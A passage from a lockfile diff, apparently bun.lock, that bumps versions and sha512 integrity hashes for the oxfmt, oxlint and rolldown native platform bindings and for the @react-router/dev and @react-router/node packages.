+ "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.51.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-mkY1nhZTqYb+NHaAWxOCKISN6FwdrwMNsu17vTUA3wzUV2VJ+Paq15ZokRcsMU/2PUdHO73prxyeJpjXQ3MPpQ=="],
- "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Dgs7VeE2jT0LHMhw6tPEt0xQYe54kBqHEovmWsv4FVQlegCOvlIJNx0S8n4vj8WUtpT+Z6BD2HhKJPLglLxvZg=="],
+ "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-wtFwNwE4+YCNuPaWoGDZeGsKvD6D1YSUNBJNn/rJBh7CrDBThFE+TBI5kY7vRW9rIOQRsbW2IpyyL3Du4Zqwiw=="],
- "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Zxn3adhTH13JKnU4xXJj8FeEfF680XjXh3gSShKl57HCMBRde2tUJTgogV/1MSHA80PJEVrDa7r66TLVq3Ia7Q=="],
+ "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-rnOaNx86G7iRKM6lsCIQMux0SMGNC/TEbFR+r7lpruJ12bnrIWgxd5w1PLqOvgR9r8ZJbpK/zfRKctJnh8/Jfg=="],
- "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-+TWipjrgVM8D7aIdDD0tlr3teLTTvQTn7QTE5BpT10H1Fj82gfdn9X6nn2sDgx/MepuSCfSnzFNJq2paLL0OiA=="],
+ "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.51.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jOgDzSqWcICGRjsp4mc08FxKMN8vzP2Kgs4E0d2HUP99F+nJDQKklRV4Zuj+0gcBgjrzx2CbpqaIdUVPepCojA=="],
- "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-aAUPBWJ1lGwwnxZUEDLJ94+Iy6MuwJwPxUgO4sCA5mEEyDk7b+cDQ+JpX1VR150Zoyd+D49gsrUzpUK5h587Eg=="],
+ "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.51.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-KBUCdrH5bwVrAvI9gU/1S55oH6fzXjr++J/oVocdu7bYTks1l7DNNT+rLd/1TDdAEjObGwmfWamn7LC1m8A0DQ=="],
- "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.46.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-ufBCJukyFX/UDrokP/r6BGDoTInnsDs7bxyzKAgMiZlt2Qu8GPJSJ6Zm6whIiJzKk0naxA8ilwmbO1LMw6Htxw=="],
+ "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.51.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NapfjYsABFqTJ1Dn9Efq6sN5esaHconVKwVLbDGNQLrwpOx/g17mkwErHzU72PutL67nf3wNAkbq122H+zLxag=="],
- "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-eqtlC2YmPqjun76R1gVfGLuKWx7NuEnLEAudZ7n6ipSKbCZTqIKSs1b5Y8K/JHZsRpLkeSmAAjig5HOIg8fQzQ=="],
+ "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-5dlDt1dUZCVi6elIhiK1PWg9wpTzTcIuj0IZnSurvIoMrhOWqqTcc1dSTxcSkNaBZhfsNqRZdINI1zAgbKkJNQ=="],
- "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-yccVOO2nMXkQLGgy0He3EQEwKD7NF0zEk+/OWmroznkqXyJdN6bfK0LtNnr6/14Bh3FjpYq7bP33l/VloCnxpA=="],
+ "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-pgdWUJn0S5nulyiVdlFV8DzCUnGXkU99W5PSkkmbaZW+LrZBPxpezun4G0DDHbQaVYuJeCuKsXsGKGo77CkUTQ=="],
- "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.46.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-aAf7fG23OQCey6VRPj9IeCraoYtpgtx0ZyJ1CXkPyT1wjzBE7c3xtuxHe/AdHaJfVVb/SXpSk8Gl1LzyQupSqw=="],
+ "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.51.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-2XTFUe97CbDGAI8vjwDfZ1HdakO0XIADyJ24idEg64SC4/K4in/OisXVnrW4NMK7I6TgC7EqRhC0Ln/nKhAemA=="],
- "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-q0JPsTMyJNjYrBvYFDz4WbVsafNZaPCZv4RnFypRotLqpKROtBZcEaXQW4eb9YmvLU3NckVemLJnzkSZSdmOxw=="],
+ "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-kQ1OuCqqt/yyf0ZN9VFxW1/JnlgJgii3Dr7pWf9vNBvrX1hv6g39/+mc5oGRHRGJFZtl3zsGDWR9c5N2B/gwBw=="],
- "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-7LsLY9Cw57GPkhSR+duI3mt9baRczK/DtHYSldQ4BEU92da9igBQNl4z7Vq5U9NNPsh1FmpKvv1q9WDtiUQR1A=="],
+ "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-ARTYqxHF475o96Gbn41hvSWSSRygPlRDXZZgZ9I2scU1y0qiWpCQyZCoefaQa0mwv+wwtZ+luS4YOzsRzM/izg=="],
- "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.46.0", "", { "os": "none", "cpu": "arm64" }, "sha512-lHiBOz8Duaku7JtRNLlps3j++eOaICPZSd8FCVmTDM4DFOPT71Bjn7g6iar1z7StXlKRweUKxWUs4sA+zWGDXg=="],
+ "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.51.0", "", { "os": "none", "cpu": "arm64" }, "sha512-QiC1XrCl6a6BmqMzduO8hdIRMf1m44hCkt2Q68KWkTvUB/E7fd2iomyNh6KnnRca5w6eBrRAAtLFqTh+xjsjJA=="],
- "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.46.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-/5ktYUliP89RhgC37DBH1x20U5zPSZMy3cMEcO0j3793rbHP9MWsknBwQB6eozRzWmYrh0IFM/p20EbPvDlYlg=="],
+ "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.51.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-NC/hJb9dtU23Zf8L7IVK95xnFjiQ7AfcLO2l5pb69TDEr958qxrtnB2CveeeNSCBFNIkgaTCfd/vHNSoG78l9g=="],
- "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.46.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-3WTnoiuIr8XvV0DIY7SN+1uJSwKf4sPpcbHfobcRT9JutGcLaef/miyBB87jxd3aqH+mS0+G5lsgHuXLUwjjpQ=="],
+ "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.51.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-2C45za4Rj36n8YIbhRL1PQbxmXJYf81WEcAgvj5I4ptRROG+A+81hREEN5bmCHADE1UfYaN312U6tkILoZZy6w=="],
- "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.46.0", "", { "os": "win32", "cpu": "x64" }, "sha512-IXxiQpkYnOwNfP23vzwSfhdpxJzyiPTY7eTn6dn3DsriKddESzM8i6kfq9R7CD/PUJwCvQT22NgtygBeug3KoA=="],
+ "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.51.0", "", { "os": "win32", "cpu": "x64" }, "sha512-73RqdAuVKQTkjZIDw08JaDHUM4lav5Qu+CaPwg4QbbA7k8o7LEW0p3UsfZ/F8dsO/pwVYh3RzFcanwLRTTahbQ=="],
- "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.61.0", "", { "os": "android", "cpu": "arm" }, "sha512-6eZBPgiigK5txqoVgRqxbaxiom4lM8AP8CyKPPvpzKnQ3iFRFOIDc+0AapF+qsUSwjOzr5SGk4SxQDpQhkSJMQ=="],
+ "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.66.0", "", { "os": "android", "cpu": "arm" }, "sha512-f7kq8N51T4phpzqfBpA2qaVTI/KrkCmNwaj3t/97I/WLTDI+UhlP5GL9eER+zVxBhtlx5rKXWByJU1/zDAvyaw=="],
- "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.61.0", "", { "os": "android", "cpu": "arm64" }, "sha512-CkwLR69MUnyv5wjzebvbbtTSUwqLxM35CXE79bHqDIK+NtKmPEUpStTcLQRZMCo4MP0qRT6TXIQVpK0ZVScnMA=="],
+ "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.66.0", "", { "os": "android", "cpu": "arm64" }, "sha512-xu6QO71tdDS9mjmLZ3AqhtaVHBvdmsOKkYnReNNDgh+XiwnsipeQOIxbiYOOO0iAXycJ+GK0wdMSZP/2j/AmSg=="],
- "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.61.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-8JbefTkbmvqkqWjmQrHke+MdpgT2UghhD/ktM4FOQSpGeCgbMToJEKdl9zwhr/YWTl92i4QI1KiTwVExpcUN8A=="],
+ "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.66.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HZ24VimSOC7mxuEA99e0H2FS0C1yO3+iW13jPRAk+e2njsUs3QeAXsafCDyaIrV/MirdOVez+etQNQsJE43zNQ=="],
- "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.61.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-uWpoxDT47hTnDLcdEh5jVbso8rlTTu5o0zuqa9J8E0JAKmIWn7kGFEIB03Pycn2hd2vKxybPGLhjURy/9We5FQ=="],
+ "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.66.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-awhj8ZvJrrRSnXj7V++rpZvTmnl99L6mi0B7gg7Cp7BN6cKpzuI481bHNLvXGA9GB1/oEgA3ponuyoAc6Md12A=="],
- "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.61.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-K/o4hEyW7flfMel0iBVznmMBt7VIMHGdjADocHKpK1DUF9erpWnJ+BSSWd2W0c8K3mPtpph+CuHzRU6CI3l9jQ=="],
+ "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.66.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-KQF0oVV21/FjIqkRuL8Q1vh8ECsE5+ocdH5tcqTQ4ZnYuDVoYibQUNfqBjQaUsP6UIIda5Y75Wpm5p4RgQWiWw=="],
- "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.61.0", "", { "os": "linux", "cpu": "arm" }, "sha512-P6040ZkcyweJ0Po9yEFqJCdvZnf3VNCGs1SIHgXDf8AAQNC6ID/heXQs9iSgo2FH7gKaKq32VWc59XZwL34C5Q=="],
+ "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.66.0", "", { "os": "linux", "cpu": "arm" }, "sha512-9u1rgwZSEXWb30vbFZzQ78HVXBo0WCKNwJ3a2InRUTNMRng+PUDIoSFmA+m4HdUfBaIqftShq8J8qHc+eE/Vig=="],
- "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.61.0", "", { "os": "linux", "cpu": "arm" }, "sha512-bwxrGCzTZkuB+THv2TQ1aTkVEfv5oz8sl+0XZZCpoYzErJD8OhPQOTA0ENPd1zJz8QsVdSzSrS2umKtPq4/JXg=="],
+ "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.66.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Ynot2HR1bHxUaNWoC280MVTDfZuaWuP3XfSMRDhyuZrVjhzoaBCVFlw8h8qeZjWKVUBhPWFIxB7AQTlK8Z2WWg=="],
- "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.61.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-vkhb9/wKguMkLlrm3FoJW/Xmdv31GgYAE+x8lxxQ+7HeOxXUySI0q36a3NTVIuQUdLzxCI1zzMGsk1o37FOe3w=="],
+ "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.66.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-xCbgzciGgo+A4aQZEknsNrNiIwY7sU5SfRuMmRjPIvZAgdF34cIHiKvwOsS5XRLjlTVSFwitmq6YclTtHTfU+g=="],
- "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.61.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-bl1dQh8LnVqsj6oOQAcxwbuOmNJkwc4p6o//HTBZhNTzJy21TLDwAviMqUFNUxDHkPGpmdKTSN4tWTjLryP8xg=="],
+ "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.66.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-hmo+ZB/lHkR1HdDmnziNpzSLmulnUSu10VEqX2Yex7OwvoBAbjJQLvy4gIBRV3AAwWnCvAxKp5Nv1GE6LU1QMg=="],
- "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.61.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-QoOX6KB2IiEpyOj/HKqaxi+NQHPnOgNgnr22n9N4ANJCzXkUlj1UmeAbFb4PpqdlHIzvGDM5xZ0OKtcLq9RhiQ=="],
+ "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.66.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-2Invd4Uyy81mVooQC5FBtfxSNrvcX1OxbMlVQ6M2erRrNI2awFYF26YNW2yFxdVFZ4ffNOWKghtMjhnUPsXsVA=="],
- "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.61.0", "", { "os": "linux", "cpu": "none" }, "sha512-1TGcTerjY6p152wCof3oKElccq3xHljS/Mucp04gV/4ATpP6nO7YNnp7opEg6SHkv2a57/b4b8Ndm9znJ1/qAw=="],
+ "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.66.0", "", { "os": "linux", "cpu": "none" }, "sha512-s0iXPDQVdgayE3RGa/N2DZF7tjgg0TwEtD1sGoDxqPDGrIXgo45H0yHknT0f9A0yteASsweYZtDyTuVlM4aSag=="],
- "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.61.0", "", { "os": "linux", "cpu": "none" }, "sha512-65wXEmZIrX2ADwC8i/qFL4EWLSbeuBpAm3suuX1vu4IQkKd+wLT/HU/BOl84kp91u2SxPkPDyQgu4yrqp8vwVA=="],
+ "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.66.0", "", { "os": "linux", "cpu": "none" }, "sha512-OekL4XFiu7RPK0JIZi8VeHgtIXPREf42t8Cy/rKEsC+P3gcqDgNAAGiyuUOpdbG4wwbfue1q4CHcCO7spSve6w=="],
- "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.61.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-TVvhgMvor7Qa6COeXxCJ7ENOM+lcAOGsQ0iUdPSCv2hxb9qSHLQ4XF1h50S6RE1gBOJ0WV3rNukg4JJJP1LWRA=="],
+ "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.66.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-Ga1D0kj1SFslm34ThA/BdkUlyAYEnTsXyRC4pF0C5agZSwtGdHYWMTQWemUfBGp4RCG4QWXgdO+HmmmKqOtlBg=="],
- "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.61.0", "", { "os": "linux", "cpu": "x64" }, "sha512-SjpS5uYuFoDnDdZPwZE59ndF95AsY47R5MliuneTWR1pDm2CxGJaYXbKULI71t5TVfLQUWmrHEGRL9xvuq6dnA=="],
+ "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.66.0", "", { "os": "linux", "cpu": "x64" }, "sha512-p5jfP1wUZe/IC3qpQO84n9DRnf9g3lKRtLBlQq23ykyrDglHcVx7sWmVTlPuU6SBw8mNnPzyOn022G3XZHnlww=="],
- "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.61.0", "", { "os": "linux", "cpu": "x64" }, "sha512-gGfAeGD4sNJGILZbc/yKcIimO9wQnPMoYp9swAaKeEtwsSQAbU+rsdQze5SBtIP6j0QDzeYd4XSSUCRCF+LIeQ=="],
+ "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.66.0", "", { "os": "linux", "cpu": "x64" }, "sha512-vUB/sYlYZorDL1ZD+o9mRv7zbsykrrFRtmgS6R8musZqLtrPRQn1gc1eGpuX+sfdccz42STl/AqldY6XRb2upQ=="],
- "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.61.0", "", { "os": "none", "cpu": "arm64" }, "sha512-OlVT0LrG/ct33EVtWRyR+B/othwmDWeRxfi13wUdPeb3lAT5TgTcFDcfLfarZtzB4W1nWF/zICMgYdkggX2WmQ=="],
+ "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.66.0", "", { "os": "none", "cpu": "arm64" }, "sha512-yde+6p/F59xRkGR9H1HfngWRif1QRJjynZK349l+UI0H6w9hL3G8/AVaTHFyTtLVQ56qtNbX2/5Dc77n1ovnOg=="],
- "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.61.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-vI//NZPJk6DToiovPtaiwD4iQ7kO1r5ReWQD0sOOyKRtP3E2f6jxin4uvwi3OvDzHA2EFfd7DcZl5dtkQh7g1w=="],
+ "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.66.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-O9GLucgoTdmOrbBX+EjzNe7o/Ze5TFOvXcib6bzUOtBOmj6cV+zw18NgB+cGKAkDw1Pdqs8vGkfHbbsLuDtXWg=="],
- "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.61.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-0ySj4/4zd2XjePs3XAQq7IigIstN4LPQZgCyigX5/ERMLjdWAJfnxcTsrtxZxuij8guJW8foXuHmhGxW0H4dDA=="],
+ "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.66.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-m3Pjwc2MfTcom4E4gOv7DyuGyt7OfGNCbmqDHd+N7EzXmP+ppHuudm2NjcA3AjV5TSeGxaguVF4SbTKHe1USYA=="],
- "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.61.0", "", { "os": "win32", "cpu": "x64" }, "sha512-0xgSiyeqDLDZxXoe9CVJrOx3TUVsfyoOY7cNi03JbItNcC9WCZqrSNdrAbHONxhSPaVh/lzfnDcON1RqSUMhHw=="],
+ "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.66.0", "", { "os": "win32", "cpu": "x64" }, "sha512-/DbBvw8UFBhja6PqudUjV4UtfsJr0Oa7jUjWVKB0g86lj/VwnPrkngn0sFql3c9RDA0O16dh7ozsXb6GjNAzBQ=="],
"@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="],
@@ -361,43 +362,43 @@
"@radix-ui/rect": ["@radix-ui/rect@1.1.1", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="],
- "@react-router/dev": ["@react-router/dev@7.14.2", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.14.2", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.14.2", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.14.2", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-lU88Ls4iC78RdPOKkER54+hlsHzzS8WSZrf2/cGQumbIN2A5WvO0LDyv72cdJmLWujgZ9rpNoGzmqWINssShGQ=="],
+ "@react-router/dev": ["@react-router/dev@7.15.1", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.15.1", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.15.1", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.15.1", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-BlFEU7SjPQHJDfYuw5qJU3+p4wMPEvKpf5Kj64/rRzQQjncXzhzkIJ0xreAQSYgGwJWjIXIK9swOaeE2czhulw=="],
- "@react-router/node": ["@react-router/node@7.14.2", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.14.2", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-8zxVfgKOXjk0k8YxSBDTFyNAuVdr+og1wFbQpmJJOxo7ObxfI81EbHenyyxGvFiw77rNFLS9Dqgnv5xZgHZfCw=="],
+ "@react-router/node": ["@react-router/node@7.15.1", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.15.1", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-lv68RaqmIa/ZRlIrGcl79HimaqpU3yV1CFKnmItU+xqI+xn9g5fqsh2Vj2LdNjnlzJgVsRMEpnv00t/6RgDrgw=="],
"@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.13.0", "", {}, "sha512-1EsNo0ZpgXu/90AWoRZf/oE3RVTUS80tiTUpt+hv5pjtAkw7icN4WskDwz/KdAw5ARbJLMhZBrO1NqThmy/McA=="],
- "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.0.0-rc.17", "", { "os": "android", "cpu": "arm64" }, "sha512-s70pVGhw4zqGeFnXWvAzJDlvxhlRollagdCCKRgOsgUOH3N1l0LIxf83AtGzmb5SiVM4Hjl5HyarMRfdfj3DaQ=="],
+ "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.0.2", "", { "os": "android", "cpu": "arm64" }, "sha512-ZS4D1JPGn/MYQN/SYDWftIE/nVsM8j/AFOYEzAoOE2O3NktQOZru+/vYXGbR/qtdLdIfGCP0lcoJiYVzsEz+iQ=="],
- "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.0.0-rc.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-4ksWc9n0mhlZpZ9PMZgTGjeOPRu8MB1Z3Tz0Mo02eWfWCHMW1zN82Qz/pL/rC+yQa+8ZnutMF0JjJe7PjwasYw=="],
+ "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.0.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-vdFA9+C/rekyGce7WqHs/xoT0ioZEWaOFyZLIV1mEeNFaFDUQrPIo8Vs2GvJ6eetb3rzDUtUBgzto3ExpXJB3w=="],
- "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.0.0-rc.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-SUSDOI6WwUVNcWxd02QEBjLdY1VPHvlEkw6T/8nYG322iYWCTxRb1vzk4E+mWWYehTp7ERibq54LSJGjmouOsw=="],
+ "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.0.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-BewSOwTHazv77DTYiAZXSqqKZ4KP/KonFisDMVU7PImxoWfB2aepnPhd2E4SWz3zDzYgDNbs6jBmTdgNnF02GA=="],
- "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.0.0-rc.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hwnz3nw9dbJ05EDO/PvcjaaewqqDy7Y1rn1UO81l8iIK1GjenME75dl16ajbvSSMfv66WXSRCYKIqfgq2KCfxw=="],
+ "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.0.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-m41o7M0YWtUdqk61Tb+jnKb2rN++iRdIASlExkUoKfIAH30DOHCB8fVLzSUpbWHHU8esmEioY62PxzexE8MBuA=="],
- "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm" }, "sha512-IS+W7epTcwANmFSQFrS1SivEXHtl1JtuQA9wlxrZTcNi6mx+FDOYrakGevvvTwgj2JvWiK8B29/qD9BELZPyXQ=="],
+ "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.0.2", "", { "os": "linux", "cpu": "arm" }, "sha512-jcojB9H7W/jS29pMKWAK1N+fU99vXodHDTatS3b3y/XSOCiHo0kkA74pL3jJmkoQtYpOCxDvaKs1fo2Ij/1X5w=="],
